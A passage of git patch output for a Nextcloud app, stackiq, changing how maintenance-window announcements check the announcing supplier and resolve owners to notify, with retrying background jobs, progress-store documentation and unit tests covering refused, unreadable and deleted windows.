usage of the product, and SHALL remind them a day before the window starts while it is still planned. Only the product's own supplier or a catalogue administrator SHALL reach those owners. +When a supplier announces a window, stackiq SHALL notify the business and technical owners of every usage of the product, and SHALL remind them a day before the window starts while it is still planned. Only the product's own supplier (the organisation named as its provider) or a catalogue administrator SHALL reach those owners, and a refused window SHALL hold no owners to notify. #### Scenario: Owners get the announcement @e2e exclude Delivered by OpenRegister's notification engine; tests/Unit/EventListener/MaintenanceRecipientsListenerTest.php asserts the resolved owners and tests/Unit/Settings/MaintenanceRoadmapFragmentTest.php the rules. diff --git a/tests/Unit/EventListener/MaintenanceRecipientsListenerTest.php b/tests/Unit/EventListener/MaintenanceRecipientsListenerTest.php index 0c2cf1192..baad7907d 100644 --- a/tests/Unit/EventListener/MaintenanceRecipientsListenerTest.php +++ b/tests/Unit/EventListener/MaintenanceRecipientsListenerTest.php @@ -92,7 +92,7 @@ class MaintenanceRecipientsListenerTest extends TestCase { /** * The windows the object service can find, by id. * - * @var array + * @var array */ private array $windows = []; @@ -199,7 +199,15 @@ function (string $email): array { ); $this->windows['x'] = $this->entity('x', self::SCHEMAS['module'], ['name' => 'Product X', 'provider' => ['id' => self::SUPPLIER]]); - $this->objectService->method('find')->willReturnCallback(fn (int|string $id): ?ObjectEntity => $this->windows[$id] ?? null); + $this->objectService->method('find')->willReturnCallback( + function (int|string $id): ?ObjectEntity { + if (($this->windows[$id] ?? null) instanceof \Throwable) { + throw $this->windows[$id]; + } + + return $this->windows[$id] ?? null; + } + ); $this->jobList = $this->createMock(IJobList::class); $this->jobList->method('add')->willReturnCallback( @@ -219,7 +227,7 @@ function (string $message): void { $this->warnings[] = $message; } ); - $this->service = new MaintenanceRecipientService($settings, $contacts, $users, $container, $logger, new MaintenanceAnnouncerCheck($settings, $groups, $logger)); + $this->service = new MaintenanceRecipientService($settings, $contacts, $users, $container, $logger, new MaintenanceAnnouncerCheck($settings, $groups)); return new MaintenanceRecipientsListener($this->service, $this->jobList, $logger); }//end listener() @@ -275,10 +283,32 @@ public function testAnotherSuppliersWindowNotifiesNobody(): void { $listener->handle(new ObjectCreatedEvent($window)); $this->runQueuedJobs(); - $this->assertSame([], $this->saved, 'neither the owners nor a resolved time are written'); + $this->assertCount(1, $this->saved, 'the window is written back once'); + $this->assertSame([], $this->saved[0]['notifyUserIds'], 'the ids it was created with are cleared'); + $this->assertArrayNotHasKey('recipientsResolvedAt', $this->saved[0], 'no resolved time, so no announcement'); $this->assertCount(1, $this->warnings); }//end testAnotherSuppliersWindowNotifiesNobody() + /** + * A refused window that already carries a resolved time is cleared too, so the + * reminder a day before the window reaches nobody it names. + * + * @return void + */ + public function testARefusedWindowWithAResolvedTimeIsClearedForTheReminder(): void { + $listener = $this->listener(); + $window = $this->entity('w7', self::SCHEMAS['maintenanceWindow'], ['module' => 'x', 'notifyUserIds' => ['victim'], 'recipientsResolvedAt' => '2026-09-29T10:00:00+00:00'], 'org-competitor', 'mallory'); + + $this->windows['w7'] = $window; + + $listener->handle(new ObjectCreatedEvent($window)); + $this->runQueuedJobs(); + + $this->assertCount(1, $this->saved); + $this->assertSame([], $this->saved[0]['notifyUserIds']); + $this->assertSame('2026-09-29T10:00:00+00:00', $this->saved[0]['recipientsResolvedAt'], 'the resolved time is unchanged, so the announcement does not fire'); + }//end testARefusedWindowWithAResolvedTimeIsClearedForTheReminder() + /** * A window without an organisation is refused unless an administrator created it. * @@ -293,9 +323,28 @@ public function testAWindowWithoutAnOrganisationIsRefused(): void { $listener->handle(new ObjectCreatedEvent($window)); $this->runQueuedJobs(); - $this->assertSame([], $this->saved); + $this->assertSame([[]], array_column($this->saved, 'notifyUserIds')); }//end testAWindowWithoutAnOrganisationIsRefused() + /** + * A product that cannot be read is not a refusal: the supplier's window is left as it is. + * + * @return void + */ + public function testAnUnreadableProductWritesNothing(): void { + $listener = $this->listener(); + $this->windows['x'] = new \RuntimeException('database went away'); + $window = $this->entity('w8', self::SCHEMAS['maintenanceWindow'], ['module' => 'x'], self::SUPPLIER, 'jan'); + + $this->windows['w8'] = $window; + + $listener->handle(new ObjectCreatedEvent($window)); + $this->runQueuedJobs(); + + $this->assertSame([], $this->saved); + $this->assertSame([], $this->warnings, 'not logged as a refusal'); + }//end testAnUnreadableProductWritesNothing() + /** * A catalogue administrator may announce maintenance on any product. * @@ -315,22 +364,23 @@ public function testACatalogAdministratorMayAnnounceForAnyProduct(): void { }//end testACatalogAdministratorMayAnnounceForAnyProduct() /** - * An organisation that owns the product, but is not named as its supplier, may announce too. + * The organisation that owns the product record, but is not its supplier, is refused: + * an admin-entered product carries the importer's (often the default) organisation. * * @return void */ - public function testTheOrganisationThatOwnsTheProductMayAnnounce(): void { + public function testTheOrganisationThatOnlyOwnsTheProductRecordIsRefused(): void { $listener = $this->listener(); - $this->windows['x'] = $this->entity('x', self::SCHEMAS['module'], ['name' => 'Product X'], 'org-owner'); - $window = $this->entity('w6', self::SCHEMAS['maintenanceWindow'], ['module' => 'x'], 'org-owner', 'jan'); + $this->windows['x'] = $this->entity('x', self::SCHEMAS['module'], ['name' => 'Product X', 'provider' => ['id' => self::SUPPLIER]], 'org-default'); + $window = $this->entity('w6', self::SCHEMAS['maintenanceWindow'], ['module' => 'x'], 'org-default', 'jan'); $this->windows['w6'] = $window; $listener->handle(new ObjectCreatedEvent($window)); $this->runQueuedJobs(); - $this->assertCount(1, $this->saved); - }//end testTheOrganisationThatOwnsTheProductMayAnnounce() + $this->assertSame([[]], array_column($this->saved, 'notifyUserIds')); + }//end testTheOrganisationThatOnlyOwnsTheProductRecordIsRefused() /** * An object of another schema is left alone. @@ -351,7 +401,7 @@ public function testAnotherSchemaIsIgnored(): void { */ public function testAResolvedWindowIsNotWrittenAgain(): void { $listener = $this->listener(); - $window = $this->entity('w2', self::SCHEMAS['maintenanceWindow'], ['module' => 'x', 'recipientsResolvedAt' => '2026-09-29T10:00:00+00:00']); + $window = $this->entity('w2', self::SCHEMAS['maintenanceWindow'], ['module' => 'x', 'recipientsResolvedAt' => '2026-09-29T10:00:00+00:00'], self::SUPPLIER, 'jan'); $this->windows['w2'] = $window; From a78a13bdbea987bfc4f31af231dfd425768773db Mon Sep 17 00:00:00 2001 From: WilcoLouwerse Date: Mon, 5 Oct 2026 15:16:57 +0200 Subject: [PATCH 153/176] docs(progress): describe the app config fallback and the queued version copy where they live The store's docblock and the operations-sync design now name the cost of the app config reads, and the remaining descriptions of the distributed cache as the only store and of the inline version copy are updated. Co-Authored-By: Claude Opus 5.5 (1M context) --- lib/Controller/SettingsController.php | 3 ++- lib/Service/ProgressStore.php | 8 ++++++++ .../changes/operations-sync-status-and-progress/design.md | 2 ++ .../operations-sync-status-and-progress/proposal.md | 2 +- .../changes/operations-sync-status-and-progress/tasks.md | 2 +- openspec/changes/publication-field-rules/tasks.md | 2 +- tests/Unit/Controller/SettingsControllerProgressTest.php | 2 +- tests/Unit/Service/ProgressTrackerTest.php | 2 +- 8 files changed, 17 insertions(+), 6 deletions(-) diff --git a/lib/Controller/SettingsController.php b/lib/Controller/SettingsController.php index 9731ba69a..2e5fd4b2e 100644 --- a/lib/Controller/SettingsController.php +++ b/lib/Controller/SettingsController.php @@ -1341,7 +1341,8 @@ public function getProgress(string $operationId): JSONResponse { /** * Whether a user may read the progress of an operation. * - * Progress lives in the distributed cache, so any request can load an + * Progress lives in a store every request reads (the distributed cache, or + * the app config without a shared cache), so any request can load an * operation by its id. Its owner and Nextcloud admins may read it. An * operation without an owner, such as one a background job started, is * for admins only. diff --git a/lib/Service/ProgressStore.php b/lib/Service/ProgressStore.php index 0a01c5e4b..c9e2c24ed 100644 --- a/lib/Service/ProgressStore.php +++ b/lib/Service/ProgressStore.php @@ -38,6 +38,14 @@ * once a second, and every read goes to the database rather than to the * config cache of the reading request. * + * That read costs a reload of the whole app config, lazy values of every app + * included (a normal request loads only the non-lazy rows), and with APCu it + * drops the node's cached copy. A progress stream does it once a second; a + * running import about twice a second, as the write after a cancel read + * reloads it again. That is accepted as the price of a store every request + * sees, on instances that run without a shared cache; a dedicated table is + * the alternative if it ever shows up. + * * @spec openspec/changes/operations-sync-status-and-progress/specs/sync-status-and-progress/spec.md#requirement-req-ssp-001-progress-of-a-long-operation-shall-be-readable-from-any-request-and-only-by-users-allowed-to-read-it */ class ProgressStore { diff --git a/openspec/changes/operations-sync-status-and-progress/design.md b/openspec/changes/operations-sync-status-and-progress/design.md index 08267d844..00bdbab6e 100644 --- a/openspec/changes/operations-sync-status-and-progress/design.md +++ b/openspec/changes/operations-sync-status-and-progress/design.md @@ -29,6 +29,8 @@ A `current_` entry points at the running operation of a type, so the page Rejected: a database table of runs. A run in progress is transient state that nobody needs after an hour, and the last result is one small record (D3). +Without a cache that every server and the CLI share (no memcache: Nextcloud's `NullCache` keeps nothing; APCu alone: each node and the CLI keep their own), `ProgressStore` keeps the snapshot and the cancel flag in lazy app config entries (`op_progress_`, `op_cancel_`) with an expiry instead, read from the database rather than from the request's config cache. The cost is deliberate: each such read reloads the whole app config, lazy values of every app included (a normal request loads only the non-lazy rows), once a second for an open progress stream and about twice a second for a running import (the write after its cancel read reloads it again); a running operation writes at most once a second per phase. A dedicated table is the alternative if that cost ever shows up. + Rejected: the SSE stream (`streamProgress()`, `:1360`) for the page. Polling `GET /api/sync/status` every three seconds while a run is going works behind every proxy and needs no long-lived PHP worker; the stream stays for its current callers. ### D2. The job honours the switch diff --git a/openspec/changes/operations-sync-status-and-progress/proposal.md b/openspec/changes/operations-sync-status-and-progress/proposal.md index c4ca21874..26d001db5 100644 --- a/openspec/changes/operations-sync-status-and-progress/proposal.md +++ b/openspec/changes/operations-sync-status-and-progress/proposal.md @@ -33,7 +33,7 @@ Read at development 49e65cb4. ## What this change builds -- `ProgressTracker` stores progress in Nextcloud's distributed cache instead of the session, so a background job can write it and a page in another request can read it, with the sync phases added. +- `ProgressTracker` stores progress in Nextcloud's distributed cache instead of the session (in the app config when no cache is shared by every server and the CLI), so a background job can write it and a page in another request can read it, with the sync phases added. - The scheduled and the manual organisation sync report progress per batch and keep a last run record: start, end, trigger, counts and number of errors. - The job honours the enable switch. - A Synchronisation page at `/organisaties/synchronisation`, a child of the Organisations menu entry, for Nextcloud admins and functional administrators: the schedule (interval, on or off), the last run, and a progress bar while a run is going. diff --git a/openspec/changes/operations-sync-status-and-progress/tasks.md b/openspec/changes/operations-sync-status-and-progress/tasks.md index 5f91d89fa..5250179fb 100644 --- a/openspec/changes/operations-sync-status-and-progress/tasks.md +++ b/openspec/changes/operations-sync-status-and-progress/tasks.md @@ -2,7 +2,7 @@ ## Implementation tasks -### Task 1: Keep progress in the distributed cache and tighten who may read it +### Task 1: Keep progress in a shared store (the distributed cache, or the app config without one) and tighten who may read it - **spec_ref**: openspec/changes/operations-sync-status-and-progress/specs/sync-status-and-progress/spec.md#requirement-req-ssp-001-progress-of-a-long-operation-shall-be-readable-from-any-request-and-only-by-users-allowed-to-read-it - **files**: `lib/Service/ProgressTracker.php`, `lib/AppInfo/Application.php`, `lib/Service/SyncAccessPolicy.php`, `lib/Controller/SettingsController.php`, `tests/Unit/Service/ProgressTrackerTest.php`, `tests/Unit/Controller/SettingsControllerProgressTest.php` - **acceptance_criteria**: diff --git a/openspec/changes/publication-field-rules/tasks.md b/openspec/changes/publication-field-rules/tasks.md index ad864e042..3973b9b73 100644 --- a/openspec/changes/publication-field-rules/tasks.md +++ b/openspec/changes/publication-field-rules/tasks.md @@ -15,7 +15,7 @@ - **spec_ref**: openspec/changes/publication-field-rules/specs/publication-field-rules/spec.md#requirement-req-pfr-002-a-module-version-is-public-only-while-its-application-is - **files**: `lib/Service/ModuleVersionPublicationService.php`, `lib/EventListener/ModuleVersionPublicationListener.php`, `lib/Repair/BackfillModuleVersionPublication.php`, `lib/AppInfo/Application.php`, `appinfo/info.xml`, `tests/Unit/Service/ModuleVersionPublicationServiceTest.php` - **acceptance_criteria**: - - GIVEN a module saved with a publication date WHEN the listener runs THEN each version differing gets it; an equal one is not written + - GIVEN a module saved with a publication date WHEN the background job the listener queues has run THEN each version differing gets it; an equal one is not written - GIVEN an anonymous reader WHEN a version of an unpublished application is read THEN it is not returned - [x] Implement - [x] Test diff --git a/tests/Unit/Controller/SettingsControllerProgressTest.php b/tests/Unit/Controller/SettingsControllerProgressTest.php index 931ffae1f..9f3deff60 100644 --- a/tests/Unit/Controller/SettingsControllerProgressTest.php +++ b/tests/Unit/Controller/SettingsControllerProgressTest.php @@ -3,7 +3,7 @@ /** * Unit tests for who may read the progress of an operation. * - * Progress now lives in the distributed cache, so an operation id no longer + * Progress now lives in a store every request reads, so an operation id no longer * stays inside one session. The read rule on GET /api/progress/{operationId} * and its stream is what keeps it private: the owner and Nextcloud admins * read it, anyone else gets 404, the same answer as an unknown id. diff --git a/tests/Unit/Service/ProgressTrackerTest.php b/tests/Unit/Service/ProgressTrackerTest.php index 45f989e87..c0aed7537 100644 --- a/tests/Unit/Service/ProgressTrackerTest.php +++ b/tests/Unit/Service/ProgressTrackerTest.php @@ -7,7 +7,7 @@ * second login, another user's page or the request after a cron run. Each * test therefore builds one tracker per request, the way Nextcloud does: * every request gets its own session and user, and all requests share the - * distributed cache. + * distributed cache, or, without a shared cache, the app config table. * * @category Tests * @package OCA\Stackiq\Tests\Unit\Service From 6b65cd9ee83a0958b7c2fd4e0f7d5c96063ada85 Mon Sep 17 00:00:00 2001 From: WilcoLouwerse Date: Mon, 5 Oct 2026 15:52:28 +0200 Subject: [PATCH 154/176] fix(maintenance): retry a failed owner resolution, and announce provider-less products as admin only The owner resolution ran once from the create event and swallowed every failure: a failed product or usage read was recorded as "nobody to notify" for good. Read and write failures now reach MaintenanceRecipientsJob, which tries again five minutes later up to three times and then logs critical; a window deleted before the job ran is left alone. A refused window is only written back when it carries ids to clear. A product that names no provider is announced by a catalogue administrator only: the organisation that owns its record is often the default organisation, which suppliers without an organisation of their own share. Co-Authored-By: Claude Opus 5.5 (1M context) --- .../MaintenanceRecipientsJob.php | 50 ++++- lib/Service/MaintenanceAnnouncerCheck.php | 14 +- lib/Service/MaintenanceRecipientService.php | 88 ++++----- .../maintenance-and-supplier-roadmap/spec.md | 2 +- .../MaintenanceRecipientsListenerTest.php | 180 +++++++++++++++++- 5 files changed, 267 insertions(+), 67 deletions(-) diff --git a/lib/BackgroundJob/MaintenanceRecipientsJob.php b/lib/BackgroundJob/MaintenanceRecipientsJob.php index 4798ea300..fd9c05d37 100644 --- a/lib/BackgroundJob/MaintenanceRecipientsJob.php +++ b/lib/BackgroundJob/MaintenanceRecipientsJob.php @@ -23,8 +23,12 @@ namespace OCA\Stackiq\BackgroundJob; use OCA\Stackiq\Service\MaintenanceRecipientService; +use OCP\AppFramework\Db\DoesNotExistException; use OCP\AppFramework\Utility\ITimeFactory; +use OCP\BackgroundJob\IJobList; use OCP\BackgroundJob\QueuedJob; +use Psr\Log\LoggerInterface; +use Throwable; /** * One owner resolution for one maintenance window. @@ -33,15 +37,29 @@ */ class MaintenanceRecipientsJob extends QueuedJob { + /** + * How many times one resolution is tried before it is given up and logged as critical. + */ + public const MAX_ATTEMPTS = 3; + + /** + * Seconds between a failed resolution and the next try. + */ + public const RETRY_DELAY = 300; + /** * Constructor. * * @param ITimeFactory $time The time factory. * @param MaintenanceRecipientService $recipients The owner resolution. + * @param IJobList $jobList Queues the job again after a failure. + * @param LoggerInterface $logger The logger. */ public function __construct( ITimeFactory $time, private readonly MaintenanceRecipientService $recipients, + private readonly IJobList $jobList, + private readonly LoggerInterface $logger, ) { parent::__construct(time: $time); }//end __construct() @@ -49,7 +67,11 @@ public function __construct( /** * Resolve and record the owners for the window in the argument. * - * @param mixed $argument `{uuid, register, schema}` of the window. + * A queued job is removed before it runs, so a resolution that fails (the + * window or the product cannot be read, or the window cannot be written) + * is queued again a few minutes later, up to MAX_ATTEMPTS tries. + * + * @param mixed $argument `{uuid, register, schema, attempt?}` of the window. * * @return void * @@ -60,10 +82,26 @@ protected function run($argument): void { return; } - $this->recipients->recordRecipientsFor( - uuid: $argument['uuid'], - register: ($argument['register'] ?? null), - schema: ($argument['schema'] ?? null) - ); + try { + $this->recipients->recordRecipientsFor( + uuid: $argument['uuid'], + register: ($argument['register'] ?? null), + schema: ($argument['schema'] ?? null) + ); + } catch (DoesNotExistException $e) { + // The window was deleted before its owners were resolved: nothing to do. + return; + } catch (Throwable $e) { + $attempt = (int) ($argument['attempt'] ?? 1); + $context = ['uuid' => $argument['uuid'], 'attempt' => $attempt, 'error' => $e->getMessage()]; + if ($attempt >= self::MAX_ATTEMPTS) { + $this->logger->critical('MaintenanceRecipientsJob: gave up recording the owners to notify; nothing was written', $context); + return; + } + + $this->logger->error('MaintenanceRecipientsJob: could not record the owners to notify; tried again later', $context); + $argument['attempt'] = ($attempt + 1); + $this->jobList->scheduleAfter(self::class, $this->time->getTime() + self::RETRY_DELAY, $argument); + } }//end run() }//end class diff --git a/lib/Service/MaintenanceAnnouncerCheck.php b/lib/Service/MaintenanceAnnouncerCheck.php index 280042663..ac8e68feb 100644 --- a/lib/Service/MaintenanceAnnouncerCheck.php +++ b/lib/Service/MaintenanceAnnouncerCheck.php @@ -58,10 +58,12 @@ public function __construct( * * Yes when a catalogue administrator created it, or when the organisation * that owns the window is the product's supplier (`provider`). The - * organisation that merely owns the product record does not count: a - * product entered by an administrator or an import carries the importer's - * organisation, often the default one, which says nothing about who supplies - * it. A product that no longer exists refuses; a read that fails for any + * organisation that owns the product record never counts, not even for a + * product that names no provider: a product entered by an administrator or + * an import carries the importer's organisation, often the default one, and + * a supplier without an organisation of its own works under that same + * default organisation. A product without a provider is therefore announced + * by a catalogue administrator, or once its supplier is set. A product that no longer exists refuses; a read that fails for any * other reason is thrown, so the caller writes nothing rather than treating * a real supplier's window as refused. * @@ -106,6 +108,10 @@ public function mayAnnounce(ObjectServiceInterface $objectService, ObjectEntityI $provider = ($provider['id'] ?? ($provider['uuid'] ?? null)); } + if (is_string($provider) === false || $provider === '') { + return false; + } + return $organisation === $provider; }//end mayAnnounce() diff --git a/lib/Service/MaintenanceRecipientService.php b/lib/Service/MaintenanceRecipientService.php index 11f7edcef..e9d7c2c77 100644 --- a/lib/Service/MaintenanceRecipientService.php +++ b/lib/Service/MaintenanceRecipientService.php @@ -92,7 +92,11 @@ public function isMaintenanceWindow(ObjectEntityInterface $object): bool { * @param string|int|null $register The register it lives in. * @param string|int|null $schema Its schema. * - * @return array|null The user ids written, or null when nothing was written. + * @return array|null The user ids recorded, or null when no owners were recorded. + * + * @throws \Throwable When the window or the product cannot be read (DoesNotExistException + * for a window that is gone), or the window cannot be written; the job + * decides whether to try again. * * @spec openspec/specs/maintenance-and-supplier-roadmap/spec.md#requirement-req-msr-003-the-owners-of-every-usage-are-notified */ @@ -102,16 +106,7 @@ public function recordRecipientsFor(string $uuid, string|int|null $register, str return null; } - try { - $window = $objectService->find(id: $uuid, register: $register, schema: $schema, _rbac: false, _multitenancy: false); - } catch (\Throwable $e) { - $this->logger->error( - 'MaintenanceRecipientService: could not read the maintenance window', - ['uuid' => $uuid, 'error' => $e->getMessage()] - ); - return null; - } - + $window = $objectService->find(id: $uuid, register: $register, schema: $schema, _rbac: false, _multitenancy: false); if ($window === null) { return null; } @@ -138,6 +133,8 @@ public function recordRecipientsFor(string $uuid, string|int|null $register, str * * @return array|null The user ids written, or null when no owners were recorded. * + * @throws \Throwable When the product or the owners cannot be read, or the window cannot be written. + * * @spec openspec/specs/maintenance-and-supplier-roadmap/spec.md#requirement-req-msr-003-the-owners-of-every-usage-are-notified */ public function recordRecipients(ObjectEntityInterface $window, ?DateTimeImmutable $now=null): ?array { @@ -148,34 +145,29 @@ public function recordRecipients(ObjectEntityInterface $window, ?DateTimeImmutab return null; } - try { - if ($this->announcers->mayAnnounce(objectService: $objectService, window: $window, moduleId: $moduleId) === false) { - $this->logger->warning( - 'MaintenanceRecipientService: the window is not from the supplier of the product; no owners are notified', - ['uuid' => $window->getUuid(), 'module' => $moduleId, 'organisation' => $window->getOrganisation()] - ); + if ($this->announcers->mayAnnounce(objectService: $objectService, window: $window, moduleId: $moduleId) === false) { + $this->logger->warning( + 'MaintenanceRecipientService: the window is not from the supplier of the product; no owners are notified', + ['uuid' => $window->getUuid(), 'module' => $moduleId, 'organisation' => $window->getOrganisation()] + ); + if (empty($data['notifyUserIds']) === false) { $data['notifyUserIds'] = []; $this->saveWindow(objectService: $objectService, window: $window, data: $data); - return null; - } - - if (empty($data['recipientsResolvedAt']) === false) { - return null; } - $userIds = $this->ownerUserIds(objectService: $objectService, moduleId: $moduleId); + return null; + } - $data['notifyUserIds'] = $userIds; - $data['recipientsResolvedAt'] = ($now ?? new DateTimeImmutable())->format(DateTimeInterface::ATOM); - $this->saveWindow(objectService: $objectService, window: $window, data: $data); - } catch (\Throwable $e) { - $this->logger->error( - 'MaintenanceRecipientService: could not check or record the owners to notify; nothing was written', - ['uuid' => $window->getUuid(), 'error' => $e->getMessage()] - ); + if (empty($data['recipientsResolvedAt']) === false) { return null; } + $userIds = $this->ownerUserIds(objectService: $objectService, moduleId: $moduleId); + + $data['notifyUserIds'] = $userIds; + $data['recipientsResolvedAt'] = ($now ?? new DateTimeImmutable())->format(DateTimeInterface::ATOM); + $this->saveWindow(objectService: $objectService, window: $window, data: $data); + return $userIds; }//end recordRecipients() @@ -225,17 +217,14 @@ public function ownerUserIds(ObjectServiceInterface $objectService, string $modu return []; } - try { - $people = $objectService->searchObjects( - query: ['register' => $register, 'schema' => $schema, '_limit' => count($contactIds)], - _rbac: false, - _multitenancy: false, - ids: $contactIds - ); - } catch (\Throwable $e) { - $this->logger->error('MaintenanceRecipientService: could not read the owners', ['error' => $e->getMessage()]); - return []; - } + // A failed read is thrown, not taken as "nobody to notify": the job tries + // again, while an empty list would be recorded as resolved for good. + $people = $objectService->searchObjects( + query: ['register' => $register, 'schema' => $schema, '_limit' => count($contactIds)], + _rbac: false, + _multitenancy: false, + ids: $contactIds + ); $userIds = []; foreach ((array) $people as $person) { @@ -263,16 +252,11 @@ private function ownerContactIds(ObjectServiceInterface $objectService, string $ return []; } - try { - $usages = $objectService->searchObjects( - query: ['register' => $register, 'schema' => $schema, 'module' => $moduleId, '_limit' => self::USAGE_LIMIT], - _rbac: false, - _multitenancy: false - ); - } catch (\Throwable $e) { - $this->logger->error('MaintenanceRecipientService: could not read the usages', ['error' => $e->getMessage()]); - return []; - } + $usages = $objectService->searchObjects( + query: ['register' => $register, 'schema' => $schema, 'module' => $moduleId, '_limit' => self::USAGE_LIMIT], + _rbac: false, + _multitenancy: false + ); $ids = []; foreach ((array) $usages as $usage) { diff --git a/openspec/specs/maintenance-and-supplier-roadmap/spec.md b/openspec/specs/maintenance-and-supplier-roadmap/spec.md index 82bdbf3b4..746658b1b 100644 --- a/openspec/specs/maintenance-and-supplier-roadmap/spec.md +++ b/openspec/specs/maintenance-and-supplier-roadmap/spec.md @@ -29,7 +29,7 @@ The product page SHALL list its maintenance windows, and the dashboard SHALL lis ### Requirement: REQ-MSR-003 The owners of every usage are notified -When a supplier announces a window, stackiq SHALL notify the business and technical owners of every usage of the product, and SHALL remind them a day before the window starts while it is still planned. Only the product's own supplier (the organisation named as its provider) or a catalogue administrator SHALL reach those owners, and a refused window SHALL hold no owners to notify. +When a supplier announces a window, stackiq SHALL notify the business and technical owners of every usage of the product, and SHALL remind them a day before the window starts while it is still planned. Only the product's own supplier (the organisation named as its provider) or a catalogue administrator SHALL reach those owners; a product that names no provider SHALL be announced by a catalogue administrator only, and a refused window SHALL hold no owners to notify. #### Scenario: Owners get the announcement @e2e exclude Delivered by OpenRegister's notification engine; tests/Unit/EventListener/MaintenanceRecipientsListenerTest.php asserts the resolved owners and tests/Unit/Settings/MaintenanceRoadmapFragmentTest.php the rules. diff --git a/tests/Unit/EventListener/MaintenanceRecipientsListenerTest.php b/tests/Unit/EventListener/MaintenanceRecipientsListenerTest.php index baad7907d..df44f1c02 100644 --- a/tests/Unit/EventListener/MaintenanceRecipientsListenerTest.php +++ b/tests/Unit/EventListener/MaintenanceRecipientsListenerTest.php @@ -30,6 +30,7 @@ use OCA\Stackiq\Service\MaintenanceRecipientService; use OCA\Stackiq\Service\SettingsService; use OCA\Stackiq\Service\StackiqContactSyncService; +use OCP\AppFramework\Db\DoesNotExistException; use OCP\AppFramework\Utility\ITimeFactory; use OCP\BackgroundJob\IJobList; use OCP\EventDispatcher\Event; @@ -68,6 +69,34 @@ class MaintenanceRecipientsListenerTest extends TestCase { */ private array $warnings = []; + /** + * The retries the job scheduled. + * + * @var array + */ + private array $retries = []; + + /** + * Whether the object service fails every save. + * + * @var bool + */ + private bool $failSave = false; + + /** + * Whether the object service fails the usage search. + * + * @var bool + */ + private bool $failUsages = false; + + /** + * The logger double of the current test. + * + * @var LoggerInterface&\PHPUnit\Framework\MockObject\MockObject + */ + private $logger; + /** * The object service double, with every save it received. * @@ -156,6 +185,10 @@ private function listener(): MaintenanceRecipientsListener { $this->objectService = $this->createMock(ObjectServiceInterface::class); $this->objectService->method('searchObjects')->willReturnCallback( function (array $query=[], bool $_rbac=true, bool $_multitenancy=true, ?array $ids=null) use ($usages, $people): array { + if ($query['schema'] === self::SCHEMAS['usage'] && $this->failUsages === true) { + throw new \RuntimeException('index offline'); + } + if ($query['schema'] === self::SCHEMAS['usage']) { $this->assertSame('x', $query['module']); return $usages; @@ -166,6 +199,10 @@ function (array $query=[], bool $_rbac=true, bool $_multitenancy=true, ?array $i ); $this->objectService->method('saveObject')->willReturnCallback( function (array $object) { + if ($this->failSave === true) { + throw new \RuntimeException('lock wait timeout'); + } + $this->saved[] = $object; return $this->createMock(ObjectEntity::class); } @@ -215,13 +252,20 @@ function (string $job, mixed $argument): void { $this->queued[] = [$job, $argument]; } ); + $this->jobList->method('scheduleAfter')->willReturnCallback( + function (string $job, int $runAfter, mixed $argument): void { + $this->assertSame(MaintenanceRecipientsJob::class, $job); + $this->retries[] = $argument; + } + ); $groups = $this->createMock(IGroupManager::class); $groups->method('isInGroup')->willReturnCallback( fn (string $uid, string $group): bool => $group === 'software-catalog-admins' && in_array($uid, $this->catalogAdmins, true) ); - $logger = $this->createMock(LoggerInterface::class); + $logger = $this->createMock(LoggerInterface::class); + $this->logger = $logger; $logger->method('warning')->willReturnCallback( function (string $message): void { $this->warnings[] = $message; @@ -239,7 +283,7 @@ function (string $message): void { private function runQueuedJobs(): void { foreach ($this->queued as [$class, $argument]) { $this->assertSame(MaintenanceRecipientsJob::class, $class); - $job = new MaintenanceRecipientsJob($this->createMock(ITimeFactory::class), $this->service); + $job = new MaintenanceRecipientsJob($this->createMock(ITimeFactory::class), $this->service, $this->jobList, $this->logger); $run = new \ReflectionMethod($job, 'run'); $run->invoke($job, $argument); } @@ -316,7 +360,7 @@ public function testARefusedWindowWithAResolvedTimeIsClearedForTheReminder(): vo */ public function testAWindowWithoutAnOrganisationIsRefused(): void { $listener = $this->listener(); - $window = $this->entity('w4', self::SCHEMAS['maintenanceWindow'], ['module' => 'x'], null, 'mallory'); + $window = $this->entity('w4', self::SCHEMAS['maintenanceWindow'], ['module' => 'x', 'notifyUserIds' => ['victim']], null, 'mallory'); $this->windows['w4'] = $window; @@ -343,8 +387,136 @@ public function testAnUnreadableProductWritesNothing(): void { $this->assertSame([], $this->saved); $this->assertSame([], $this->warnings, 'not logged as a refusal'); + $this->assertSame([['uuid' => 'w8', 'register' => '7', 'schema' => '40', 'attempt' => 2]], $this->retries, 'tried again later'); }//end testAnUnreadableProductWritesNothing() + /** + * After the last try a failing resolution is given up and logged as critical. + * + * @return void + */ + public function testAFailingResolutionIsGivenUpAfterTheLastTry(): void { + $listener = $this->listener(); + $this->windows['x'] = new \RuntimeException('database went away'); + $this->windows['w9'] = $this->entity('w9', self::SCHEMAS['maintenanceWindow'], ['module' => 'x'], self::SUPPLIER, 'jan'); + $this->logger->expects($this->once())->method('critical')->with($this->stringContains('gave up')); + + $this->queued = [[MaintenanceRecipientsJob::class, ['uuid' => 'w9', 'attempt' => MaintenanceRecipientsJob::MAX_ATTEMPTS]]]; + $this->runQueuedJobs(); + + $this->assertSame([], $this->retries); + $this->assertSame([], $this->saved); + }//end testAFailingResolutionIsGivenUpAfterTheLastTry() + + /** + * A window deleted before its job ran is nothing to do: no retry, no write. + * + * @return void + */ + public function testAWindowDeletedBeforeTheJobIsLeftAlone(): void { + $this->listener(); + $this->windows['w13'] = new DoesNotExistException('gone'); + + $this->queued = [[MaintenanceRecipientsJob::class, ['uuid' => 'w13']]]; + $this->runQueuedJobs(); + + $this->assertSame([], $this->retries); + $this->assertSame([], $this->saved); + }//end testAWindowDeletedBeforeTheJobIsLeftAlone() + + /** + * A product that no longer exists refuses the window. + * + * @return void + */ + public function testAProductThatNoLongerExistsRefuses(): void { + $listener = $this->listener(); + $this->windows['x'] = new DoesNotExistException('gone'); + $window = $this->entity('w10', self::SCHEMAS['maintenanceWindow'], ['module' => 'x', 'notifyUserIds' => ['victim']], self::SUPPLIER, 'jan'); + + $this->windows['w10'] = $window; + + $listener->handle(new ObjectCreatedEvent($window)); + $this->runQueuedJobs(); + + $this->assertSame([[]], array_column($this->saved, 'notifyUserIds')); + $this->assertSame([], $this->retries); + }//end testAProductThatNoLongerExistsRefuses() + + /** + * A refused window that names nobody is not written at all. + * + * @return void + */ + public function testARefusedWindowWithoutIdsIsNotRewritten(): void { + $listener = $this->listener(); + $window = $this->entity('w11', self::SCHEMAS['maintenanceWindow'], ['module' => 'x'], 'org-competitor', 'mallory'); + + $this->windows['w11'] = $window; + + $listener->handle(new ObjectCreatedEvent($window)); + $this->runQueuedJobs(); + + $this->assertSame([], $this->saved); + $this->assertCount(1, $this->warnings, 'still logged 